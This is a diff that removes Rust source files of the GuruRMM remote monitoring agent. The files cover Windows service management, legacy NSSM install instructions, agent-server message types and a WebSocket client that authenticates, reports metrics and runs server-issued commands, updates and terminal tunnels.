if let Ok(status) = service.query_status() {
|
||||
if status.current_state != ServiceState::Stopped {
|
||||
info!("Stopping service...");
|
||||
let _ = service.stop();
|
||||
std::thread::sleep(Duration::from_secs(3));
|
||||
}
|
||||
}
|
||||
|
||||
// Delete the service
|
||||
info!("Deleting service...");
|
||||
service.delete().context("Failed to delete service")?;
|
||||
}
|
||||
Err(_) => {
|
||||
warn!("Service was not installed");
|
||||
}
|
||||
}
|
||||
|
||||
// Remove binary
|
||||
if binary_path.exists() {
|
||||
info!("Removing binary: {:?}", binary_path);
|
||||
// Wait a bit for service to fully stop
|
||||
std::thread::sleep(Duration::from_secs(1));
|
||||
if let Err(e) = std::fs::remove_file(&binary_path) {
|
||||
warn!("Failed to remove binary (may be in use): {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
// Remove install directory if empty
|
||||
let _ = std::fs::remove_dir(INSTALL_DIR);
|
||||
|
||||
println!("\n** GuruRMM Agent uninstalled successfully!");
|
||||
println!(
|
||||
"\nNote: Config directory {:?} was preserved.",
|
||||
CONFIG_DIR
|
||||
);
|
||||
println!("Remove it manually if no longer needed.");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Start the installed service
|
||||
pub fn start() -> Result<()> {
|
||||
info!("Starting GuruRMM Agent service...");
|
||||
|
||||
let manager = ServiceManager::local_computer(
|
||||
None::<&str>,
|
||||
ServiceManagerAccess::CONNECT,
|
||||
)
|
||||
.context("Failed to connect to Service Control Manager")?;
|
||||
|
||||
let service = manager
|
||||
.open_service(SERVICE_NAME, ServiceAccess::START | ServiceAccess::QUERY_STATUS)
|
||||
.context("Failed to open service. Is it installed?")?;
|
||||
|
||||
service
|
||||
.start::<String>(&[])
|
||||
.context("Failed to start service")?;
|
||||
|
||||
// Wait briefly and check status
|
||||
std::thread::sleep(Duration::from_secs(2));
|
||||
|
||||
let status = service.query_status()?;
|
||||
match status.current_state {
|
||||
ServiceState::Running => {
|
||||
println!("** Service started successfully");
|
||||
println!("Check status: gururmm-agent status");
|
||||
}
|
||||
ServiceState::StartPending => {
|
||||
println!("** Service is starting...");
|
||||
println!("Check status: gururmm-agent status");
|
||||
}
|
||||
other => {
|
||||
println!("Service state: {:?}", other);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stop the installed service
|
||||
pub fn stop() -> Result<()> {
|
||||
info!("Stopping GuruRMM Agent service...");
|
||||
|
||||
let manager = ServiceManager::local_computer(
|
||||
None::<&str>,
|
||||
ServiceManagerAccess::CONNECT,
|
||||
)
|
||||
.context("Failed to connect to Service Control Manager")?;
|
||||
|
||||
let service = manager
|
||||
.open_service(SERVICE_NAME, ServiceAccess::STOP | ServiceAccess::QUERY_STATUS)
|
||||
.context("Failed to open service. Is it installed?")?;
|
||||
|
||||
service.stop().context("Failed to stop service")?;
|
||||
|
||||
// Wait and verify
|
||||
std::thread::sleep(Duration::from_secs(2));
|
||||
|
||||
let status = service.query_status()?;
|
||||
match status.current_state {
|
||||
ServiceState::Stopped => {
|
||||
println!("** Service stopped successfully");
|
||||
}
|
||||
ServiceState::StopPending => {
|
||||
println!("** Service is stopping...");
|
||||
}
|
||||
other => {
|
||||
println!("Service state: {:?}", other);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Query service status
|
||||
pub fn status() -> Result<()> {
|
||||
let manager = ServiceManager::local_computer(
|
||||
None::<&str>,
|
||||
ServiceManagerAccess::CONNECT,
|
||||
)
|
||||
.context("Failed to connect to Service Control Manager")?;
|
||||
|
||||
match manager.open_service(SERVICE_NAME, ServiceAccess::QUERY_STATUS) {
|
||||
Ok(service) => {
|
||||
let status = service.query_status()?;
|
||||
println!("GuruRMM Agent Service Status");
|
||||
println!("============================");
|
||||
println!("Service Name: {}", SERVICE_NAME);
|
||||
println!("Display Name: {}", SERVICE_DISPLAY_NAME);
|
||||
println!("State: {:?}", status.current_state);
|
||||
println!(
|
||||
"Binary: {}\\gururmm-agent.exe",
|
||||
INSTALL_DIR
|
||||
);
|
||||
println!("Config: {}\\agent.toml", CONFIG_DIR);
|
||||
}
|
||||
Err(_) => {
|
||||
println!("GuruRMM Agent Service Status");
|
||||
println!("============================");
|
||||
println!("Status: NOT INSTALLED");
|
||||
println!("\nTo install: gururmm-agent install");
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
/// Legacy Windows stub module (when native-service is not enabled)
|
||||
/// For legacy Windows (7, Server 2008 R2), use NSSM for service wrapper
|
||||
#[cfg(all(windows, not(feature = "native-service")))]
|
||||
pub mod windows {
|
||||
use anyhow::{Result, bail};
|
||||
|
||||
pub const SERVICE_NAME: &str = "GuruRMMAgent";
|
||||
pub const SERVICE_DISPLAY_NAME: &str = "GuruRMM Agent";
|
||||
pub const SERVICE_DESCRIPTION: &str =
|
||||
"GuruRMM Agent - Remote Monitoring and Management service";
|
||||
pub const INSTALL_DIR: &str = r"C:\Program Files\GuruRMM";
|
||||
pub const CONFIG_DIR: &str = r"C:\ProgramData\GuruRMM";
|
||||
|
||||
/// Legacy build doesn't support native service mode
|
||||
pub fn run_as_service() -> Result<()> {
|
||||
bail!("Native Windows service mode not available in legacy build. Use 'run' command with NSSM wrapper instead.")
|
||||
}
|
||||
|
||||
/// Legacy install just copies binary and config, prints NSSM instructions
|
||||
pub fn install(
|
||||
server_url: Option<String>,
|
||||
api_key: Option<String>,
|
||||
_skip_legacy_check: bool,
|
||||
) -> Result<()> {
|
||||
use std::path::PathBuf;
|
||||
use tracing::info;
|
||||
|
||||
info!("Installing GuruRMM Agent (legacy mode)...");
|
||||
|
||||
// Get the current executable path
|
||||
let current_exe = std::env::current_exe()?;
|
||||
let binary_dest = PathBuf::from(INSTALL_DIR).join("gururmm-agent.exe");
|
||||
let config_dest = PathBuf::from(CONFIG_DIR).join("agent.toml");
|
||||
|
||||
// Create directories
|
||||
std::fs::create_dir_all(INSTALL_DIR)?;
|
||||
std::fs::create_dir_all(CONFIG_DIR)?;
|
||||
|
||||
// Copy binary
|
||||
info!("Copying binary to: {:?}", binary_dest);
|
||||
std::fs::copy(¤t_exe, &binary_dest)?;
|
||||
|
||||
// Create config if needed
|
||||
if !config_dest.exists() {
|
||||
let mut config = crate::config::AgentConfig::sample();
|
||||
if let Some(url) = &server_url {
|
||||
config.server.url = url.clone();
|
||||
}
|
||||
if let Some(key) = &api_key {
|
||||
config.server.api_key = key.clone();
|
||||
}
|
||||
let toml_str = toml::to_string_pretty(&config)?;
|
||||
std::fs::write(&config_dest, toml_str)?;
|
||||
}
|
||||
|
||||
println!("\n** GuruRMM Agent installed (legacy mode)!");
|
||||
println!("\nInstalled files:");
|
||||
println!(" Binary: {:?}", binary_dest);
|
||||
println!(" Config: {:?}", config_dest);
|
||||
println!("\n** IMPORTANT: This is a legacy build for Windows 7/Server 2008 R2");
|
||||
println!(" Use NSSM to install as a service:");
|
||||
println!();
|
||||
println!(" nssm install {} {:?} run --config {:?}", SERVICE_NAME, binary_dest, config_dest);
|
||||
println!(" nssm start {}", SERVICE_NAME);
|
||||
println!();
|
||||
println!(" Download NSSM from: https://nssm.cc/download");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn uninstall() -> Result<()> {
|
||||
use std::path::PathBuf;
|
||||
|
||||
let binary_path = PathBuf::from(INSTALL_DIR).join("gururmm-agent.exe");
|
||||
|
||||
println!("** To uninstall legacy service, use NSSM:");
|
||||
println!(" nssm stop {}", SERVICE_NAME);
|
||||
println!(" nssm remove {} confirm", SERVICE_NAME);
|
||||
println!();
|
||||
|
||||
if binary_path.exists() {
|
||||
std::fs::remove_file(&binary_path)?;
|
||||
println!("** Binary removed: {:?}", binary_path);
|
||||
}
|
||||
|
||||
let _ = std::fs::remove_dir(INSTALL_DIR);
|
||||
println!("\n** GuruRMM Agent uninstalled (legacy mode)!");
|
||||
println!("Note: Config directory {} was preserved.", CONFIG_DIR);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn start() -> Result<()> {
|
||||
println!("** Legacy build: Use NSSM or sc.exe to start the service:");
|
||||
println!(" nssm start {}", SERVICE_NAME);
|
||||
println!(" -- OR --");
|
||||
println!(" sc start {}", SERVICE_NAME);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn stop() -> Result<()> {
|
||||
println!("** Legacy build: Use NSSM or sc.exe to stop the service:");
|
||||
println!(" nssm stop {}", SERVICE_NAME);
|
||||
println!(" -- OR --");
|
||||
println!(" sc stop {}", SERVICE_NAME);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn status() -> Result<()> {
|
||||
println!("GuruRMM Agent Service Status (Legacy Build)");
|
||||
println!("==========================================");
|
||||
println!("Service Name: {}", SERVICE_NAME);
|
||||
println!();
|
||||
println!("** Legacy build: Use sc.exe to query status:");
|
||||
println!(" sc query {}", SERVICE_NAME);
|
||||
println!();
|
||||
println!("Binary: {}\\gururmm-agent.exe", INSTALL_DIR);
|
||||
println!("Config: {}\\agent.toml", CONFIG_DIR);
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -1,353 +0,0 @@
|
||||
//! Transport layer for agent-server communication
|
||||
//!
|
||||
//! Handles WebSocket connection to the GuruRMM server with:
|
||||
//! - Auto-reconnection on disconnect
|
||||
//! - Authentication via API key
|
||||
//! - Sending metrics and receiving commands
|
||||
//! - Heartbeat to maintain connection
|
||||
|
||||
mod websocket;
|
||||
|
||||
pub use websocket::WebSocketClient;
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use uuid::Uuid;
|
||||
|
||||
/// Messages sent from agent to server
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(tag = "type", content = "payload")]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum AgentMessage {
|
||||
/// Authentication message (sent on connect)
|
||||
Auth(AuthPayload),
|
||||
|
||||
/// Metrics report
|
||||
Metrics(crate::metrics::SystemMetrics),
|
||||
|
||||
/// Network state update (sent on connect and when interfaces change)
|
||||
NetworkState(crate::metrics::NetworkState),
|
||||
|
||||
/// Command execution result
|
||||
CommandResult(CommandResultPayload),
|
||||
|
||||
/// Watchdog event (service stopped, restarted, etc.)
|
||||
WatchdogEvent(WatchdogEventPayload),
|
||||
|
||||
/// Update result (success, failure, rollback)
|
||||
UpdateResult(UpdateResultPayload),
|
||||
|
||||
/// Heartbeat to keep connection alive
|
||||
Heartbeat,
|
||||
|
||||
/// Tunnel ready confirmation (agent → server)
|
||||
TunnelReady { session_id: String },
|
||||
|
||||
/// Tunnel data (bidirectional)
|
||||
TunnelData {
|
||||
channel_id: String,
|
||||
data: TunnelDataPayload,
|
||||
},
|
||||
|
||||
/// Tunnel error (agent → server)
|
||||
TunnelError { channel_id: String, error: String },
|
||||
}
|
||||
|
||||
/// Authentication payload
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AuthPayload {
|
||||
/// API key for this agent (or site)
|
||||
pub api_key: String,
|
||||
|
||||
/// Unique device identifier (hardware-derived)
|
||||
pub device_id: String,
|
||||
|
||||
/// Hostname of this machine
|
||||
pub hostname: String,
|
||||
|
||||
/// Operating system type
|
||||
pub os_type: String,
|
||||
|
||||
/// Operating system version
|
||||
pub os_version: String,
|
||||
|
||||
/// Agent version
|
||||
pub agent_version: String,
|
||||
|
||||
/// Architecture (amd64, arm64, etc.)
|
||||
#[serde(default = "default_arch")]
|
||||
pub architecture: String,
|
||||
|
||||
/// Previous version if reconnecting after update
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub previous_version: Option<String>,
|
||||
|
||||
/// Update ID if reconnecting after update
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub pending_update_id: Option<Uuid>,
|
||||
}
|
||||
|
||||
fn default_arch() -> String {
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
{ "amd64".to_string() }
|
||||
#[cfg(target_arch = "aarch64")]
|
||||
{ "arm64".to_string() }
|
||||
#[cfg(not(any(target_arch = "x86_64", target_arch = "aarch64")))]
|
||||
{ "unknown".to_string() }
|
||||
}
|
||||
|
||||
/// Command execution result payload
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct CommandResultPayload {
|
||||
/// Command ID (from the server)
|
||||
pub command_id: Uuid,
|
||||
|
||||
/// Exit code (0 = success)
|
||||
pub exit_code: i32,
|
||||
|
||||
/// Standard output
|
||||
pub stdout: String,
|
||||
|
||||
/// Standard error
|
||||
pub stderr: String,
|
||||
|
||||
/// Execution duration in milliseconds
|
||||
pub duration_ms: u64,
|
||||
}
|
||||
|
||||
/// Watchdog event payload
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct WatchdogEventPayload {
|
||||
/// Service or process name
|
||||
pub name: String,
|
||||
|
||||
/// Event type
|
||||
pub event: WatchdogEvent,
|
||||
|
||||
/// Additional details
|
||||
pub details: Option<String>,
|
||||
}
|
||||
|
||||
/// Types of watchdog events
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum WatchdogEvent {
|
||||
/// Service/process was found stopped
|
||||
Stopped,
|
||||
|
||||
/// Service/process was restarted by the agent
|
||||
Restarted,
|
||||
|
||||
/// Restart attempt failed
|
||||
RestartFailed,
|
||||
|
||||
/// Max restart attempts reached
|
||||
MaxRestartsReached,
|
||||
|
||||
/// Service/process recovered on its own
|
||||
Recovered,
|
||||
}
|
||||
|
||||
/// Messages sent from server to agent
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(tag = "type", content = "payload")]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum ServerMessage {
|
||||
/// Authentication acknowledgment
|
||||
AuthAck(AuthAckPayload),
|
||||
|
||||
/// Command to execute
|
||||
Command(CommandPayload),
|
||||
|
||||
/// Configuration update
|
||||
ConfigUpdate(ConfigUpdatePayload),
|
||||
|
||||
/// Agent update command
|
||||
Update(UpdatePayload),
|
||||
|
||||
/// Acknowledgment of received message
|
||||
Ack { message_id: Option<String> },
|
||||
|
||||
/// Error message
|
||||
Error { code: String, message: String },
|
||||
|
||||
/// Tunnel open request (server → agent)
|
||||
TunnelOpen { session_id: String, tech_id: Uuid },
|
||||
|
||||
/// Tunnel close request (server → agent)
|
||||
TunnelClose { session_id: String },
|
||||
|
||||
/// Tunnel data (bidirectional)
|
||||
TunnelData {
|
||||
channel_id: String,
|
||||
data: TunnelDataPayload,
|
||||
},
|
||||
}
|
||||
|
||||
/// Authentication acknowledgment payload
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AuthAckPayload {
|
||||
/// Whether authentication was successful
|
||||
pub success: bool,
|
||||
|
||||
/// Agent ID assigned by server
|
||||
pub agent_id: Option<Uuid>,
|
||||
|
||||
/// Error message if authentication failed
|
||||
pub error: Option<String>,
|
||||
}
|
||||
|
||||
/// Command payload from server
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct CommandPayload {
|
||||
/// Unique command ID
|
||||
pub id: Uuid,
|
||||
|
||||
/// Type of command
|
||||
pub command_type: CommandType,
|
||||
|
||||
/// Command text to execute
|
||||
pub command: String,
|
||||
|
||||
/// Optional timeout in seconds
|
||||
pub timeout_seconds: Option<u64>,
|
||||
|
||||
/// Whether to run as elevated/admin
|
||||
pub elevated: bool,
|
||||
}
|
||||
|
||||
/// Types of commands
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum CommandType {
|
||||
/// Shell command (cmd on Windows, bash on Unix)
|
||||
Shell,
|
||||
|
||||
/// PowerShell command (Windows)
|
||||
/// Alias "powershell" for backwards compatibility with servers that send
|
||||
/// the command type as a plain string instead of snake_case enum format.
|
||||
#[serde(alias = "powershell")]
|
||||
PowerShell,
|
||||
|
||||
/// Python script
|
||||
Python,
|
||||
|
||||
/// Raw script (requires interpreter path)
|
||||
Script { interpreter: String },
|
||||
|
||||
/// Claude Code task execution
|
||||
#[serde(alias = "claude_task")]
|
||||
ClaudeTask {
|
||||
/// Task description for Claude Code
|
||||
task: String,
|
||||
/// Optional working directory (defaults to C:\Shares\test)
|
||||
working_directory: Option<String>,
|
||||
/// Optional context files to provide to Claude
|
||||
context_files: Option<Vec<String>>,
|
||||
},
|
||||
}
|
||||
|
||||
/// Configuration update payload
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct ConfigUpdatePayload {
|
||||
/// New metrics interval (if changed)
|
||||
pub metrics_interval_seconds: Option<u64>,
|
||||
|
||||
/// Updated watchdog config
|
||||
pub watchdog: Option<WatchdogConfigUpdate>,
|
||||
}
|
||||
|
||||
/// Watchdog configuration update
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct WatchdogConfigUpdate {
|
||||
/// Enable/disable watchdog
|
||||
pub enabled: Option<bool>,
|
||||
|
||||
/// Check interval
|
||||
pub check_interval_seconds: Option<u64>,
|
||||
|
||||
// Services and processes would be included here for remote config updates
|
||||
}
|
||||
|
||||
/// Update command payload from server
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct UpdatePayload {
|
||||
/// Unique update ID for tracking
|
||||
pub update_id: Uuid,
|
||||
|
||||
/// Target version to update to
|
||||
pub target_version: String,
|
||||
|
||||
/// Download URL for the new binary
|
||||
pub download_url: String,
|
||||
|
||||
/// SHA256 checksum of the binary
|
||||
pub checksum_sha256: String,
|
||||
|
||||
/// Whether to force update (skip version check)
|
||||
#[serde(default)]
|
||||
pub force: bool,
|
||||
}
|
||||
|
||||
/// Update result payload sent back to server
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct UpdateResultPayload {
|
||||
/// Update ID (from the server)
|
||||
pub update_id: Uuid,
|
||||
|
||||
/// Update status
|
||||
pub status: UpdateStatus,
|
||||
|
||||
/// Old version before update
|
||||
pub old_version: String,
|
||||
|
||||
/// New version after update (if successful)
|
||||
pub new_version: Option<String>,
|
||||
|
||||
/// Error message if failed
|
||||
pub error: Option<String>,
|
||||
}
|
||||
|
||||
/// Update status codes
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum UpdateStatus {
|
||||
/// Update starting
|
||||
Starting,
|
||||
|
||||
/// Downloading new binary
|
||||
Downloading,
|
||||
|
||||
/// Download complete, verifying
|
||||
Verifying,
|
||||
|
||||
/// Installing (replacing binary)
|
||||
Installing,
|
||||
|
||||
/// Restarting service
|
||||
Restarting,
|
||||
|
||||
/// Update completed successfully
|
||||
Completed,
|
||||
|
||||
/// Update failed
|
||||
Failed,
|
||||
|
||||
/// Rolled back to previous version
|
||||
RolledBack,
|
||||
}
|
||||
|
||||
/// Tunnel data payload types (Phase 1: Terminal only)
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
#[serde(tag = "type", content = "payload")]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum TunnelDataPayload {
|
||||
/// Terminal command execution request (server → agent)
|
||||
Terminal { command: String },
|
||||
|
||||
/// Terminal output response (agent → server)
|
||||
TerminalOutput {
|
||||
stdout: String,
|
||||
stderr: String,
|
||||
exit_code: Option<i32>,
|
||||
},
|
||||
}
|
||||
@@ -1,599 +0,0 @@
|
||||
//! WebSocket client for server communication
|
||||
//!
|
||||
//! Handles the WebSocket connection lifecycle including:
|
||||
//! - Connection establishment
|
||||
//! - Authentication handshake
|
||||
//! - Message sending/receiving
|
||||
//! - Heartbeat maintenance
|
||||
//! - Command handling
|
||||
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use futures_util::{SinkExt, StreamExt};
|
||||
use once_cell::sync::Lazy;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::time::{interval, timeout};
|
||||
use tokio_tungstenite::{connect_async, tungstenite::Message};
|
||||
use tracing::{debug, error, info, warn};
|
||||
|
||||
use super::{AgentMessage, AuthPayload, CommandPayload, ServerMessage, TunnelDataPayload, UpdatePayload, UpdateResultPayload, UpdateStatus};
|
||||
use crate::claude::{ClaudeExecutor, ClaudeTaskCommand};
|
||||
use crate::metrics::NetworkState;
|
||||
use crate::tunnel::TunnelManager;
|
||||
use crate::updater::{AgentUpdater, UpdaterConfig};
|
||||
use crate::AppState;
|
||||
|
||||
/// Global Claude executor for handling Claude Code tasks
|
||||
static CLAUDE_EXECUTOR: Lazy<ClaudeExecutor> = Lazy::new(|| ClaudeExecutor::new());
|
||||
|
||||
/// WebSocket client for communicating with the GuruRMM server
|
||||
pub struct WebSocketClient;
|
||||
|
||||
impl WebSocketClient {
|
||||
/// Connect to the server and run the message loop
|
||||
///
|
||||
/// This function will return when the connection is closed or an error occurs.
|
||||
/// The caller should handle reconnection logic.
|
||||
pub async fn connect_and_run(state: Arc<AppState>) -> Result<()> {
|
||||
let url = &state.config.server.url;
|
||||
|
||||
// Connect to WebSocket server
|
||||
info!("Connecting to {}", url);
|
||||
let (ws_stream, response) = connect_async(url)
|
||||
.await
|
||||
.context("Failed to connect to WebSocket server")?;
|
||||
|
||||
info!(
|
||||
"WebSocket connected (HTTP status: {})",
|
||||
response.status()
|
||||
);
|
||||
|
||||
let (mut write, mut read) = ws_stream.split();
|
||||
|
||||
// Check for pending update (from previous update attempt)
|
||||
let updater_config = UpdaterConfig::default();
|
||||
let pending_update = AgentUpdater::load_pending_update(&updater_config).await;
|
||||
|
||||
// If we have pending update info, we just restarted after an update
|
||||
let (previous_version, pending_update_id) = if let Some(ref info) = pending_update {
|
||||
info!(
|
||||
"Found pending update info: {} -> {} (id: {})",
|
||||
info.old_version, info.target_version, info.update_id
|
||||
);
|
||||
(Some(info.old_version.clone()), Some(info.update_id))
|
||||
} else {
|
||||
(None, None)
|
||||
};
|
||||
|
||||
// Send authentication message
|
||||
let auth_msg = AgentMessage::Auth(AuthPayload {
|
||||
api_key: state.config.server.api_key.clone(),
|
||||
device_id: crate::device_id::get_device_id(),
|
||||
hostname: state.config.get_hostname(),
|
||||
os_type: std::env::consts::OS.to_string(),
|
||||
os_version: sysinfo::System::os_version().unwrap_or_else(|| "unknown".to_string()),
|
||||
agent_version: env!("CARGO_PKG_VERSION").to_string(),
|
||||
architecture: Self::get_architecture().to_string(),
|
||||
previous_version,
|
||||
pending_update_id,
|
||||
});
|
||||
|
||||
let auth_json = serde_json::to_string(&auth_msg)?;
|
||||
write.send(Message::Text(auth_json)).await?;
|
||||
debug!("Sent authentication message");
|
||||
|
||||
// Wait for auth response with timeout
|
||||
let auth_response = timeout(Duration::from_secs(10), read.next())
|
||||
.await
|
||||
.context("Authentication timeout")?
|
||||
.ok_or_else(|| anyhow::anyhow!("Connection closed before auth response"))?
|
||||
.context("Failed to receive auth response")?;
|
||||
|
||||
// Parse auth response
|
||||
if let Message::Text(text) = auth_response {
|
||||
let server_msg: ServerMessage =
|
||||
serde_json::from_str(&text).context("Failed to parse auth response")?;
|
||||
|
||||
match server_msg {
|
||||
ServerMessage::AuthAck(ack) => {
|
||||
if ack.success {
|
||||
info!("Authentication successful, agent_id: {:?}", ack.agent_id);
|
||||
*state.connected.write().await = true;
|
||||
|
||||
// Send initial network state immediately after auth
|
||||
let network_state = NetworkState::collect();
|
||||
info!(
|
||||
"Sending initial network state ({} interfaces)",
|
||||
network_state.interfaces.len()
|
||||
);
|
||||
let network_msg = AgentMessage::NetworkState(network_state);
|
||||
let network_json = serde_json::to_string(&network_msg)?;
|
||||
write.send(Message::Text(network_json)).await?;
|
||||
} else {
|
||||
error!("Authentication failed: {:?}", ack.error);
|
||||
return Err(anyhow::anyhow!(
|
||||
"Authentication failed: {}",
|
||||
ack.error.unwrap_or_else(|| "Unknown error".to_string())
|
||||
));
|
||||
}
|
||||
}
|
||||
ServerMessage::Error { code, message } => {
|
||||
error!("Server error during auth: {} - {}", code, message);
|
||||
return Err(anyhow::anyhow!("Server error: {} - {}", code, message));
|
||||
}
|
||||
_ => {
|
||||
warn!("Unexpected message during auth: {:?}", server_msg);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Create channel for outgoing messages
|
||||
let (tx, mut rx) = mpsc::channel::<AgentMessage>(100);
|
||||
|
||||
// Spawn metrics sender task
|
||||
let metrics_tx = tx.clone();
|
||||
let metrics_state = Arc::clone(&state);
|
||||
let metrics_interval = state.config.metrics.interval_seconds;
|
||||
|
||||
let metrics_task = tokio::spawn(async move {
|
||||
let mut timer = interval(Duration::from_secs(metrics_interval));
|
||||
|
||||
loop {
|
||||
timer.tick().await;
|
||||
|
||||
let metrics = metrics_state.metrics_collector.collect().await;
|
||||
if metrics_tx.send(AgentMessage::Metrics(metrics)).await.is_err() {
|
||||
debug!("Metrics channel closed");
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Spawn network state monitor task (checks for changes every 30 seconds)
|
||||
let network_tx = tx.clone();
|
||||
let network_task = tokio::spawn(async move {
|
||||
// Check for network changes every 30 seconds
|
||||
let mut timer = interval(Duration::from_secs(30));
|
||||
let mut last_state = NetworkState::collect();
|
||||
|
||||
loop {
|
||||
timer.tick().await;
|
||||
|
||||
let current_state = NetworkState::collect();
|
||||
if current_state.has_changed(&last_state) {
|
||||
info!(
|
||||
"Network state changed (hash: {} -> {}), sending update",
|
||||
last_state.state_hash, current_state.state_hash
|
||||
);
|
||||
|
||||
// Log the changes for debugging
|
||||
for iface in ¤t_state.interfaces {
|
||||
debug!(
|
||||
" Interface {}: IPv4={:?}",
|
||||
iface.name, iface.ipv4_addresses
|
||||
);
|
||||
}
|
||||
|
||||
if network_tx
|
||||
.send(AgentMessage::NetworkState(current_state.clone()))
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
debug!("Network channel closed");
|
||||
break;
|
||||
}
|
||||
last_state = current_state;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Spawn heartbeat task
|
||||
let heartbeat_tx = tx.clone();
|
||||
let heartbeat_task = tokio::spawn(async move {
|
||||
let mut timer = interval(Duration::from_secs(30));
|
||||
|
||||
loop {
|
||||
timer.tick().await;
|
||||
|
||||
if heartbeat_tx.send(AgentMessage::Heartbeat).await.is_err() {
|
||||
debug!("Heartbeat channel closed");
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Create tunnel manager for mode switching
|
||||
let mut tunnel_manager = TunnelManager::new();
|
||||
|
||||
// Main message loop
|
||||
let result: Result<()> = loop {
|
||||
tokio::select! {
|
||||
// Handle outgoing messages
|
||||
Some(msg) = rx.recv() => {
|
||||
let json = serde_json::to_string(&msg)?;
|
||||
if let Err(e) = write.send(Message::Text(json)).await {
|
||||
break Err(e.into());
|
||||
}
|
||||
|
||||
match &msg {
|
||||
AgentMessage::Metrics(m) => {
|
||||
debug!("Sent metrics: CPU={:.1}%", m.cpu_percent);
|
||||
}
|
||||
AgentMessage::NetworkState(n) => {
|
||||
debug!("Sent network state: {} interfaces, hash={}",
|
||||
n.interfaces.len(), n.state_hash);
|
||||
}
|
||||
AgentMessage::Heartbeat => {
|
||||
debug!("Sent heartbeat");
|
||||
}
|
||||
AgentMessage::TunnelReady { session_id } => {
|
||||
info!("Sent TunnelReady for session: {}", session_id);
|
||||
}
|
||||
AgentMessage::TunnelData { channel_id, .. } => {
|
||||
debug!("Sent TunnelData on channel: {}", channel_id);
|
||||
}
|
||||
AgentMessage::TunnelError { channel_id, error } => {
|
||||
warn!("Sent TunnelError on channel {}: {}", channel_id, error);
|
||||
}
|
||||
_ => {
|
||||
debug!("Sent message: {:?}", std::mem::discriminant(&msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Handle incoming messages
|
||||
Some(msg_result) = read.next() => {
|
||||
match msg_result {
|
||||
Ok(Message::Text(text)) => {
|
||||
if let Err(e) = Self::handle_server_message(&text, &tx, &mut tunnel_manager).await {
|
||||
error!("Error handling message: {}", e);
|
||||
}
|
||||
}
|
||||
Ok(Message::Ping(data)) => {
|
||||
if let Err(e) = write.send(Message::Pong(data)).await {
|
||||
break Err(e.into());
|
||||
}
|
||||
}
|
||||
Ok(Message::Pong(_)) => {
|
||||
debug!("Received pong");
|
||||
}
|
||||
Ok(Message::Close(frame)) => {
|
||||
info!("Server closed connection: {:?}", frame);
|
||||
break Ok(());
|
||||
}
|
||||
Ok(Message::Binary(_)) => {
|
||||
warn!("Received unexpected binary message");
|
||||
}
|
||||
Ok(Message::Frame(_)) => {
|
||||
// Raw frame, usually not seen
|
||||
}
|
||||
Err(e) => {
|
||||
error!("WebSocket error: {}", e);
|
||||
break Err(e.into());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Connection timeout (no activity)
|
||||
_ = tokio::time::sleep(Duration::from_secs(90)) => {
|
||||
warn!("Connection timeout, no activity for 90 seconds");
|
||||
break Err(anyhow::anyhow!("Connection timeout"));
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Cleanup
|
||||
metrics_task.abort();
|
||||
network_task.abort();
|
||||
heartbeat_task.abort();
|
||||
*state.connected.write().await = false;
|
||||
|
||||
// Force close tunnel if active
|
||||
tunnel_manager.force_close();
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Handle a message received from the server
|
||||
async fn handle_server_message(
|
||||
text: &str,
|
||||
tx: &mpsc::Sender<AgentMessage>,
|
||||
tunnel_manager: &mut TunnelManager,
|
||||
) -> Result<()> {
|
||||
let msg: ServerMessage =
|
||||
serde_json::from_str(text).context("Failed to parse server message")?;
|
||||
|
||||
